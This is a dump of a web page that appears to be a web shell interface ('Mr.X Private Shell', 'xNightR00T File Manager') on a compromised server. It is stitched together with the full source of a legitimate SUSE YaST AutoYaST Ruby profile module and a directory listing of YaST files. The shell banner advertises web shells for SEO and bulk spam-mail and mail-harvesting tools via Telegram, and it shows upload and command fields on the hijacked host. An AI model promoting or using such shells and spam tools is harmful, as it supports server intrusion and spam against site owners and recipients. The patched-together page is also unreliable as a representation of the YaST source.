xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/Profile.ycp
# Module:	Auto-Installation
# Summary:	Profile handling
# Authors:	Anas Nashif <nashif@suse.de>
#
# $Id$
require "yast"

module Yast
  class ProfileClass < Module
    # All these sections are handled by AutoYaST (or Installer) itself,
    # it doesn't use any external AutoYaST client for them
    GENERIC_PROFILE_SECTIONS = [
      # AutoYaST has its own partitioning
      "partitioning",
      "partitioning_advanced",
      # AutoYaST has its Preboot Execution Environment configuration
      "pxe",
      # Flags for setting the solver while the upgrade process with AutoYaST
      "upgrade",
      # Flags for controlling the update backups (see Installation module)
      "backup",
      # init section used by Kickstart and to pass additional arguments
      # to Linuxrc (bsc#962526)
      "init"
    ]

    # Dropped YaST modules that used to provide AutoYaST functionality
    # bsc#925381
    OBSOLETE_PROFILE_SECTIONS = [
      # FATE#316185: Drop YaST AutoFS module
      "autofs",
      # FATE#308682: Drop yast2-backup and yast2-restore modules
      "restore",
      "sshd",
      # Defined in SUSE Manager but will not be used anymore. (bnc#955878)
      "cobbler"
    ]

    # Sections that are handled by AutoYaST clients included in autoyast2 package.
    AUTOYAST_CLIENTS = [
      "files",
      "general",
      # FIXME: Partitioning should probably not be here. There is no
      # partitioning_auto client. Moreover, it looks pointless to enforce the
      # installation of autoyast2 only because the <partitioning> section
      # is in the profile. It will happen on 1st stage anyways.
      "partitioning",
      "report",
      "scripts",
      "software"
    ]

    def main
      Yast.import "UI"
      textdomain "autoinst"

      Yast.import "Stage"
      Yast.import "Mode"
      Yast.import "AutoinstConfig"
      Yast.import "XML"
      Yast.import "Label"
      Yast.import "Popup"
      Yast.import "ProductControl"
      Yast.import "Directory"
      Yast.import "FileUtils"
      Yast.import "PackageSystem"
      Yast.import "AutoinstFunctions"

      Yast.include self, "autoinstall/xml.rb"


      # The Complete current Profile
      @current = {}

      # defined in Y2ModuleConfig
      @ModuleMap = {}


      @changed = false

      @prepare = true
      Profile()
    end

    # Constructor
    # @return [void]
    def Profile
      #
      # setup profile XML parameters for writing
      #
      profileSetup
      if Stage.initial
        SCR.Execute(path(".target.mkdir"), AutoinstConfig.profile_dir)
      end
      nil
    end


    # compatibility to new storage lib in 10.0
    def storageLibCompat
      newPart = []
      Builtins.foreach(Ops.get_list(@current, "partitioning", [])) do |d|
        if Builtins.haskey(d, "is_lvm_vg") &&
            Ops.get_boolean(d, "is_lvm_vg", false) == true
          d = Builtins.remove(d, "is_lvm_vg")
          Ops.set(d, "type", :CT_LVM)
        elsif Builtins.haskey(d, "device") &&
            Ops.get_string(d, "device", "") == "/dev/md"
          Ops.set(d, "type", :CT_MD)
        elsif !Builtins.haskey(d, "type")
          Ops.set(d, "type", :CT_DISK)
        end
        # actually, this is not a compatibility hook for the new
        # storage lib. It's a hook to be compatibel with the autoyast
        # documentation for reusing partitions
        #
        Ops.set(
          d,
          "partitions",
          Builtins.maplist(Ops.get_list(d, "partitions", [])) do |p|
            if Builtins.haskey(p, "create") &&
                Ops.get_boolean(p, "create", true) == false &&
                Builtins.haskey(p, "partition_nr")
              Ops.set(p, "usepart", Ops.get_integer(p, "partition_nr", 0)) # useless default
            end
            if Builtins.haskey(p, "partition_id")
              # that's a bit strange. There is a naming mixup between
              # autoyast and the storage part of yast. Actually filesystem_id
              # does not make sense at all but in autoyast it is the
              # partition id (maybe that's because yast calls
              # the partition id "fsid" internally).
              # partition_id in the profile does not work at all, so we copy
              # that value to filesystem_id
              Ops.set(p, "filesystem_id", Ops.get_integer(p, "partition_id", 0))
            end
            deep_copy(p)
          end
        )
        newPart = Builtins.add(newPart, d)
      end
      Builtins.y2milestone("partitioning is now %1", newPart)
      Ops.set(@current, "partitioning", newPart)

      nil
    end

    def softwareCompat
      Ops.set(@current, "software", Ops.get_map(@current, "software", {}))

      # We need to check if second stage was disabled in the profile itself
      # because AutoinstConfig is not initialized at this point
      # and InstFuntions#second_stage_required? depends on that module
      # to check if 2nd stage is required (chicken-and-egg problem).
      mode = @current.fetch("general", {}).fetch("mode", {})
      second_stage_enabled = mode.has_key?("second_stage") ? mode["second_stage"] : true
      if AutoinstFunctions.second_stage_required? && second_stage_enabled
        add_autoyast_packages
      end

      # workaround for missing "REQUIRES" in content file to stay backward compatible
      # FIXME: needs a more sophisticated or compatibility breaking solution after SLES11
      if Builtins.size(Ops.get_list(@current, ["software", "patterns"], [])) == 0
        Ops.set(@current, ["software", "patterns"], ["base"])
      end

      nil
    end

    # compatibility to new language,keyboard and timezone client in 10.1
    def generalCompat
      if Builtins.haskey(@current, "general")
        if Builtins.haskey(Ops.get_map(@current, "general", {}), "keyboard")
          Ops.set(
            @current,
            "keyboard",
            Ops.get_map(@current, ["general", "keyboard"], {})
          )
          Ops.set(
            @current,
            "general",
            Builtins.remove(Ops.get_map(@current, "general", {}), "keyboard")
          )
        end
        if Builtins.haskey(Ops.get_map(@current, "general", {}), "language")
          Ops.set(
            @current,
            "language",
            {
              "language" => Ops.get_string(
                @current,
                ["general", "language"],
                ""
              )
            }
          )
          Ops.set(
            @current,
            "general",
            Builtins.remove(Ops.get_map(@current, "general", {}), "language")
          )
        end
        if Builtins.haskey(Ops.get_map(@current, "general", {}), "clock")
          Ops.set(
            @current,
            "timezone",
            Ops.get_map(@current, ["general", "clock"], {})
          )
          Ops.set(
            @current,
            "general",
            Builtins.remove(Ops.get_map(@current, "general", {}), "clock")
          )
        end
        if Ops.get_boolean(@current, ["general", "mode", "final_halt"], false)
          script = {
            "filename" => "zzz_halt",
            "source"   => "shutdown -h now"
          }
          if !Builtins.haskey(@current, "scripts")
            Ops.set(@current, "scripts", {})
          end
          if !Builtins.haskey(
              Ops.get_map(@current, "scripts", {}),
              "init-scripts"
            )
            Ops.set(@current, ["scripts", "init-scripts"], [])
          end
          Ops.set(
            @current,
            ["scripts", "init-scripts"],
            Builtins.add(
              Ops.get_list(@current, ["scripts", "init-scripts"], []),
              script
            )
          )
        end
        if Ops.get_boolean(@current, ["general", "mode", "final_reboot"], false)
          script = {
            "filename" => "zzz_reboot",
            "source"   => "shutdown -r now"
          }
          if !Builtins.haskey(@current, "scripts")
            Ops.set(@current, "scripts", {})
          end
          if !Builtins.haskey(
              Ops.get_map(@current, "scripts", {}),
              "init-scripts"
            )
            Ops.set(@current, ["scripts", "init-scripts"], [])
          end
          Ops.set(
            @current,
            ["scripts", "init-scripts"],
            Builtins.add(
              Ops.get_list(@current, ["scripts", "init-scripts"], []),
              script
            )
          )
        end
        if Builtins.haskey(
            Ops.get_map(@current, "software", {}),
            "additional_locales"
          )
          if !Builtins.haskey(@current, "language")
            Ops.set(@current, "language", {})
          end
          Ops.set(
            @current,
            ["language", "languages"],
            Builtins.mergestring(
              Ops.get_list(@current, ["software", "additional_locales"], []),
              ","
            )
          )
          Ops.set(
            @current,
            "software",
            Builtins.remove(
              Ops.get_map(@current, "software", {}),
              "additional_locales"
            )
          )
        end
      end

      nil
    end

    # Read Profile properties and Version
    # @param map Profile Properties
    # @return [void]
    def check_version(properties)
      version = properties["version"]
      if version != "3.0"
        Builtins.y2milestone("Wrong profile version '#{version}'")
      else
        Builtins.y2milestone("AutoYaST Profile Version  %1 Detected.", version)
      end
    end

    # Import Profile
    # @param [Hash{String => Object}] profile
    # @return [void]
    def Import(profile)
      profile = deep_copy(profile)
      Builtins.y2milestone("importing profile")
      @current = deep_copy(profile)

      check_version(Ops.get_map(@current, "properties", {}))

      # old style
      if Builtins.haskey(profile, "configure") ||
          Builtins.haskey(profile, "install")
        __configure = Ops.get_map(profile, "configure", {})
        __install = Ops.get_map(profile, "install", {})
        if Builtins.haskey(profile, "configure")
          @current = Builtins.remove(@current, "configure")
        end
        if Builtins.haskey(profile, "install")
          @current = Builtins.remove(@current, "install")
        end
        tmp = Convert.convert(
          Builtins.union(__configure, __install),
          :from => "map",
          :to   => "map <string, any>"
        )
        @current = Convert.convert(
          Builtins.union(tmp, @current),
          :from => "map",
          :to   => "map <string, any>"
        )
      end

      # raise the network immediately after configuring it
      if Builtins.haskey(@current, "networking") &&
          !Builtins.haskey(
            Ops.get_map(@current, "networking", {}),
            "start_immediately"
          )
        Ops.set(@current, ["networking", "start_immediately"], true)
        Builtins.y2milestone("start_immediately set to true")
      end
      merge_resource_aliases!
      storageLibCompat # compatibility to new storage library (SL 10.0)
      generalCompat # compatibility to new language,keyboard and timezone (SL10.1)
      softwareCompat

      Builtins.y2debug("Current Profile=%1", @current)
      nil
    end


    # Prepare Profile for saving and remove empty data structs
    # @return [void]
    def Prepare
      return if !@prepare

      Popup.ShowFeedback(
        _("Collecting configuration data..."),
        _("This may take a while")
      )

      e = []

      Builtins.foreach(@ModuleMap) do |p, d|
        #
        # Set resource name, if not using default value
        #
        resource = Ops.get_string(d, "X-SuSE-YaST-AutoInstResource", "")
        resource = p if resource == ""
        tomerge = Ops.get_string(d, "X-SuSE-YaST-AutoInstMerge", "")
        module_auto = Ops.get_string(d, "X-SuSE-YaST-AutoInstClient", "none")
        if Convert.to_boolean(WFM.CallFunction(module_auto, ["GetModified"]))
          resource_data = WFM.CallFunction(module_auto, ["Export"])

          s = 0
          if tomerge == ""
            if Ops.get_string(d, "X-SuSE-YaST-AutoInstDataType", "map") == "map"
              s = Builtins.size(Convert.to_map(resource_data))
            else
              s = Builtins.size(Convert.to_list(resource_data))
            end
          end

          if s != 0 || tomerge != ""
            if Ops.greater_than(Builtins.size(tomerge), 0)
              i = 0
              tomergetypes = Ops.get_string(
                d,
                "X-SuSE-YaST-AutoInstMergeTypes",
                ""
              )
              _MergeTypes = Builtins.splitstring(tomergetypes, ",")

              Builtins.foreach(Builtins.splitstring(tomerge, ",")) do |res|
                if Ops.get_string(_MergeTypes, i, "map") == "map"
                  rd = Convert.convert(
                    resource_data,
                    :from => "any",
                    :to   => "map <string, any>"
                  )
                  Ops.set(@current, res, Ops.get_map(rd, res, {}))
                else
                  rd = Convert.convert(
                    resource_data,
                    :from => "any",
                    :to   => "map <string, any>"
                  )
                  Ops.set(@current, res, Ops.get_list(rd, res, []))
                end
                i = Ops.add(i, 1)
              end
            else
              Ops.set(@current, resource, resource_data)
            end
          elsif s == 0
            e = Builtins.add(e, resource)
          end
        end
      end


      Builtins.foreach(@current) do |k, v|
        if !Builtins.haskey(@current, k) && !Builtins.contains(e, k)
          Ops.set(@current, k, v)
        end
      end

      Popup.ClearFeedback
      @prepare = false
      nil
    end

    # Reset profile to initial status
    # @return [void]
    def Reset
      Builtins.y2milestone("Resetting profile contents")
      @current = {}
      nil
    end

    # Save YCP data into XML
    # @param  path to file
    # @return	[Boolean] true on success
    def Save(file)
      Prepare()
      ret = false
      Builtins.y2debug("Saving data (%1) to XML file %2", @current, file)
      if AutoinstConfig.ProfileEncrypted
        xml = XML.YCPToXMLString(:profile, @current)
        if Ops.greater_than(Builtins.size(xml), 0)
          if AutoinstConfig.ProfilePassword == ""
            p = ""
            q = ""
            begin
              UI.OpenDialog(
                VBox(
                  Label(
                    _("Encrypted AutoYaST profile. Enter the password twice.")
                  ),
                  Password(Id(:password), ""),
                  Password(Id(:password2), ""),
                  PushButton(Id(:ok), Label.OKButton)
                )
              )
              button = nil
              begin
                button = UI.UserInput
                p = Convert.to_string(UI.QueryWidget(Id(:password), :Value))
                q = Convert.to_string(UI.QueryWidget(Id(:password2), :Value))
              end until button == :ok
              UI.CloseDialog
            end while p != q
            AutoinstConfig.ProfilePassword = AutoinstConfig.ShellEscape(p)
          end
          dir = Convert.to_string(SCR.Read(path(".target.tmpdir")))
          command = Builtins.sformat(
            "gpg2 -c --armor --batch --passphrase \"%1\" --output %2/encrypted_autoyast.xml",
            AutoinstConfig.ProfilePassword,
            dir
          )
          SCR.Execute(path(".target.bash_input"), command, xml)
          if Ops.greater_than(
              SCR.Read(
                path(".target.size"),
                Ops.add(dir, "/encrypted_autoyast.xml")
              ),
              0
            )
            command = Builtins.sformat(
              "mv %1/encrypted_autoyast.xml %2",
              dir,
              file
            )
            SCR.Execute(path(".target.bash"), command, {})
            ret = true
          end
        end
      else
        ret = XML.YCPToXMLFile(:profile, @current, file)
      end
      ret
    end

    # Save sections of current profile to separate files
    #
    # @param [String] dir - directory to store section xml files in
    # @return	  - list of filenames
    def SaveSingleSections(dir)
      Prepare()
      Builtins.y2milestone("Saving data (%1) to XML single files", @current)
      sectionFiles = {}
      Builtins.foreach(@current) do |sectionName, section|
        sectionFileName = Ops.add(
          Ops.add(Ops.add(dir, "/"), sectionName),
          ".xml"
        )
        tmpProfile = { sectionName => section }
        if XML.YCPToXMLFile(:profile, tmpProfile, sectionFileName)
          Builtins.y2milestone(
            "Wrote section %1 to file %2",
            sectionName,
            sectionFileName
          )
          sectionFiles = Builtins.add(
            sectionFiles,
            sectionName,
            sectionFileName
          )
        else
          Builtins.y2error(
            Builtins.sformat(
              _("Could not write section %1 to file %2."),
              sectionName,
              sectionFileName
            )
          )
        end
      end
      deep_copy(sectionFiles)
    end

    # Save the current data into a file to be read after a reboot.
    # @param	-
    # @return  true on success
    # @see #Restore()
    def SaveProfileStructure(parsedControlFile)
      Builtins.y2milestone("Saving control file in YCP format")
      SCR.Write(path(".target.ycp"), parsedControlFile, @current)
    end

    # Read YCP data as the control file
    # @param ycp file
    # @return [Boolean]
    def ReadProfileStructure(parsedControlFile)
      @current = Convert.convert(
        SCR.Read(path(".target.ycp"), [parsedControlFile, {}]),
        :from => "any",
        :to   => "map <string, any>"
      )
      if @current == {}
        return false
      else
        Import(@current)
      end

      true
    end


    # General compatibility issues
    # @param current profile
    # @return [Hash] converted profile
    def Compat(__current)
      __current = deep_copy(__current)
      # scripts
      if Builtins.haskey(__current, "pre-scripts") ||
          Builtins.haskey(__current, "post-scripts") ||
          Builtins.haskey(__current, "chroot-scripts")
        pre = Ops.get_list(__current, "pre-scripts", [])
        post = Ops.get_list(__current, "post-scripts", [])
        chroot = Ops.get_list(__current, "chroot-scripts", [])
        scripts = {
          "pre-scripts"    => pre,
          "post-scripts"   => post,
          "chroot-scripts" => chroot
        }
        __current = Builtins.remove(__current, "pre-scripts")
        __current = Builtins.remove(__current, "post-scripts")
        __current = Builtins.remove(__current, "chroot-scripts")

        Ops.set(__current, "scripts", scripts)
      end

      # general
      old = false


      general_options = Ops.get_map(__current, "general", {})
      security = Ops.get_map(__current, "security", {})
      report = Ops.get_map(__current, "report", {})

      Builtins.foreach(general_options) do |k, v|
        if k == "keyboard" && Ops.is_string?(v)
          old = true
        elsif k == "encryption_method"
          old = true
        elsif k == "timezone" && Ops.is_string?(v)
          old = true
        end
      end

      new_general = {}

      if old
        Builtins.y2milestone("Old format, converting.....")
        Ops.set(
          new_general,
          "language",
          Ops.get_string(general_options, "language", "")
        )
        keyboard = {}
        Ops.set(
          keyboard,
          "keymap",
          Ops.get_string(general_options, "keyboard", "")
        )
        Ops.set(new_general, "keyboard", keyboard)

        clock = {}
        Ops.set(
          clock,
          "timezone",
          Ops.get_string(general_options, "timezone", "")
        )
        if Ops.get_string(general_options, "hwclock", "") == "localtime"
          Ops.set(clock, "hwclock", "localtime")
        elsif Ops.get_string(general_options, "hwclock", "") == "GMT"
          Ops.set(clock, "hwclock", "GMT")
        end
        Ops.set(new_general, "clock", clock)

        mode = {}
        if Builtins.haskey(general_options, "reboot")
          Ops.set(
            mode,
            "reboot",
            Ops.get_boolean(general_options, "reboot", false)
          )
        end
        if Builtins.haskey(report, "confirm")
          Ops.set(mode, "confirm", Ops.get_boolean(report, "confirm", false))
          report = Builtins.remove(report, "confirm")
        end
        Ops.set(new_general, "mode", mode)


        if Builtins.haskey(general_options, "encryption_method")
          Ops.set(
            security,
            "encryption",
            Ops.get_string(general_options, "encryption_method", "")
          )
        end

        net = Ops.get_map(__current, "networking", {})
        ifaces = Ops.get_list(net, "interfaces", [])

        newifaces = Builtins.maplist(ifaces) do |iface|
          newiface = Builtins.mapmap(iface) do |k, v|
            { Builtins.tolower(k) => v }
          end
          deep_copy(newiface)
        end

        Ops.set(net, "interfaces", newifaces)

        Ops.set(__current, "general", new_general)
        Ops.set(__current, "report", report)
        Ops.set(__current, "security", security)
        Ops.set(__current, "networking", net)
      end

      deep_copy(__current)
    end


    # Read XML into  YCP data
    # @param  path to file
    # @return	[Boolean]
    def ReadXML(file)
      tmp = Convert.to_string(SCR.Read(path(".target.string"), file))
      l = Builtins.splitstring(tmp, "\n")
      if tmp != nil && Ops.get(l, 0, "") == "-----BEGIN PGP MESSAGE-----"
        out = {}
        while Ops.get_string(out, "stdout", "") == ""
          UI.OpenDialog(
            VBox(
              Label(
                _("Encrypted AutoYaST profile. Enter the correct password.")
              ),
              Password(Id(:password), ""),
              PushButton(Id(:ok), Label.OKButton)
            )
          )
          p = ""
          button = nil
          begin
            button = UI.UserInput
            p = Convert.to_string(UI.QueryWidget(Id(:password), :Value))
          end until button == :ok
          UI.CloseDialog
          command = Builtins.sformat(
            "gpg2 -d --batch --passphrase \"%1\" %2",
            p,
            file
          )
          out = Convert.convert(
            SCR.Execute(path(".target.bash_output"), command, {}),
            :from => "any",
            :to   => "map <string, any>"
          )
        end
        @current = XML.XMLToYCPString(Ops.get_string(out, "stdout", ""))
        AutoinstConfig.ProfileEncrypted = true

        # FIXME: rethink and check for sanity of that!
        # save decrypted profile for modifying pre-scripts
        if Stage.initial
          SCR.Write(
            path(".target.string"),
            file,
            Ops.get_string(out, "stdout", "")
          )
        end
      else
        Builtins.y2debug("Reading %1", file)
        @current = XML.XMLToYCPFile(file)
      end

      xml_error = XML.XMLError
      if xml_error && !xml_error.empty?
        # autoyast has read the autoyast configuration file but something went wrong
        message = _(
          "The XML parser reported an error while parsing the autoyast profile. The error message is:\n"
        )
        message = Ops.add(message, XML.XMLError)
        Popup.Error(message)
        return false
      end
      Import(@current)
      true
    end
    def setMValue(l, v, m)
      l = deep_copy(l)
      v = deep_copy(v)
      m = deep_copy(m)
      i = Ops.get_string(l, 0, "")
      tmp = Builtins.remove(l, 0)
      if Ops.greater_than(Builtins.size(tmp), 0)
        if Ops.is_string?(Ops.get(tmp, 0))
          Ops.set(m, i, setMValue(tmp, v, Ops.get_map(m, i, {})))
        else
          Ops.set(m, i, setLValue(tmp, v, Ops.get_list(m, i, [])))
        end
      else
        Builtins.y2debug("setting %1 to %2", i, v)
        Ops.set(m, i, v)
      end
      deep_copy(m)
    end
    def setLValue(l, v, m)
      l = deep_copy(l)
      v = deep_copy(v)
      m = deep_copy(m)
      i = Ops.get_integer(l, 0, 0)
      tmp = Builtins.remove(l, 0)
      if Ops.greater_than(Builtins.size(tmp), 0)
        if Ops.is_string?(Ops.get(tmp, 0))
          Ops.set(m, i, setMValue(tmp, v, Ops.get_map(m, i, {})))
        else
          Ops.set(m, i, setLValue(tmp, v, Ops.get_list(m, i, [])))
        end
      else
        Builtins.y2debug("setting %1 to %2", i, v)
        Ops.set(m, i, v)
      end
      deep_copy(m)
    end

    #  this function is a replacement for this code:
    #      list<any> l = [ "key1",0,"key3" ];
    #      m[ l ] = v;
    #  @return [Hash]
    def setElementByList(l, v, m)
      l = deep_copy(l)
      v = deep_copy(v)
      m = deep_copy(m)
      m = setMValue(l, v, m)
      deep_copy(m)
    end

    def checkProfile
      file = Ops.add(Ops.add(AutoinstConfig.tmpDir, "/"), "valid.xml")
      Save(file)
      summary = "Some schema check failed!\n" +
        "Please attach your logfile to bug id 211014\n" +
        "\n"
      valid = true

      validators = [
        [
          _("Checking XML with RNG validation..."),
          Ops.add(
            Ops.add("/usr/bin/xmllint --noout --relaxng ", Directory.schemadir),
            "/autoyast/rng/profile.rng"
          ),
          ""
        ]
      ]
      if !Stage.cont && PackageSystem.Installed("jing")
        validators = Builtins.add(
          validators,
          [
            _("Checking XML with RNC validation..."),
            Ops.add(
              Ops.add("/usr/bin/jing >&2 -c ", Directory.schemadir),
              "/autoyast/rnc/profile.rnc"
            ),
            "jing_sucks"
          ]
        )
      end

      Builtins.foreach(validators) do |i|
        header = Ops.get_string(i, 0, "")
        cmd = Ops.add(Ops.add(Ops.get_string(i, 1, ""), " "), file)
        summary = Ops.add(Ops.add(summary, header), "\n")
        o = Convert.to_map(SCR.Execute(path(".target.bash_output"), cmd))
        Builtins.y2debug("validation output: %1", o)
        summary = Ops.add(Ops.add(summary, cmd), "\n")
        summary = Ops.add(
          Ops.add(summary, Ops.get_string(o, "stderr", "")),
          "\n"
        )
        summary = Ops.add(summary, "\n")
        if Ops.get_integer(o, "exit", 1) != 0 ||
            Ops.get_string(i, 2, "") == "jing_sucks" &&
              Ops.greater_than(
                Builtins.size(Ops.get_string(o, "stderr", "")),
                0
              )
          valid = false
        end
      end
      if !valid
        Popup.Error(summary)
        Builtins.y2milestone(
          "Profile check failed please attach the log to bug id 211014: %1",
          summary
        )
      end

      nil
    end

    # Removes the given sections from the profile
    #
    # @param [String,Array<String>] keys Section names.
    # @return [Hash] The profile without the removed sections.
    def remove_sections(sections)
      keys_to_delete = Array(sections)
      @current.delete_if { |k, v| keys_to_delete.include?(k) }
    end

    private

    def add_autoyast_packages
      if !Builtins.contains(
          Ops.get_list(@current, ["software", "packages"], []),
          "autoyast2-installation"
        )
        Ops.set(
          @current,
          ["software", "packages"],
          Builtins.add(
            Ops.get_list(@current, ["software", "packages"], []),
            "autoyast2-installation"
          )
        )
      end

      # without autoyast2, <files ...> does not work
      if !(@current.keys & AUTOYAST_CLIENTS).empty? &&
          !Builtins.contains(
            Ops.get_list(@current, ["software", "packages"], []),
            "autoyast2"
          )
        Ops.set(
          @current,
          ["software", "packages"],
          Builtins.add(
            Ops.get_list(@current, ["software", "packages"], []),
            "autoyast2"
          )
        )
      end
    end

  protected

    # Merge resource aliases in the profile
    #
    # When a resource is aliased, the configuration with the aliased name will
    # be renamed to the new name. For example, if we have a
    # services-manager.desktop file containing
    # X-SuSE-YaST-AutoInstResourceAliases=runlevel, if a "runlevel" key is found
    # in the profile, it will be renamed to "services-manager".
    #
    # The rename won't take place if a "services-manager" resource already exists.
    #
    # @see merge_aliases_map
    def merge_resource_aliases!
      resource_aliases_map.each do |alias_name, resource_name|
        aliased_config = current.delete(alias_name)
        next if aliased_config.nil? || current.has_key?(resource_name)
        current[resource_name] = aliased_config
      end
    end

    # Module aliases map
    #
    # This method delegates on Y2ModuleConfig#resource_aliases_map
    # and exists just to avoid a circular dependency between
    # Y2ModuleConfig and Profile (as the former depends on the latter).
    #
    # @return [Hash] Map of resource aliases where the key is the alias and the
    #                value is the resource ({alias => resource})
    #
    # @see Y2ModuleConfig#resource_aliases_map
    def resource_aliases_map
      Yast.import "Y2ModuleConfig"
      Y2ModuleConfig.resource_aliases_map
    end

    publish :variable => :current, :type => "map <string, any>"
    publish :variable => :ModuleMap, :type => "map <string, map>"
    publish :variable => :changed, :type => "boolean"
    publish :variable => :prepare, :type => "boolean"
    publish :function => :Import, :type => "void (map <string, any>)"
    publish :function => :Prepare, :type => "void ()"
    publish :function => :Reset, :type => "void ()"
    publish :function => :Save, :type => "boolean (string)"
    publish :function => :SaveSingleSections, :type => "map <string, string> (string)"
    publish :function => :SaveProfileStructure, :type => "boolean (string)"
    publish :function => :ReadProfileStructure, :type => "boolean (string)"
    publish :function => :ReadXML, :type => "boolean (string)"
    publish :function => :setElementByList, :type => "map <string, any> (list, any, map <string, any>)"
    publish :function => :checkProfile, :type => "void ()"
  end

  Profile = ProfileClass.new
  Profile.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
